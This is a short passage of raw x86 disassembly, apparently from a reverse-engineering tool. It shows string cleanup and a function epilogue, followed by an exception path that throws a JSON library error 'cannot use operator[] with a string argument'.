jb 0x422db7
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422dad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422ebe
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x50]
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x38], 0xf
mov byte [ebx + 0x24], 0
cmp ecx, 0x10
jb 0x422dfd
mov edx, dword [ebx + 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422df3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422ebe
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x68]
mov dword [ebx + 0x4c], 0
mov dword [ebx + 0x50], 0xf
mov byte [ebx + 0x3c], 0
cmp ecx, 0x10
jb 0x422e43
mov edx, dword [ebx + 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422e39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x422ebe
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1e70
call fcn.00402040
lea ecx, [ebp - 0x190]
call fcn.00467740
push eax
lea ecx, [ebp - 0x120]
call fcn.00402700
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x180]
call fcn.004698d0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x234]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x234]
push 0x531630
push eax
call fcn.004de5bb
call fcn.004e1e70
int3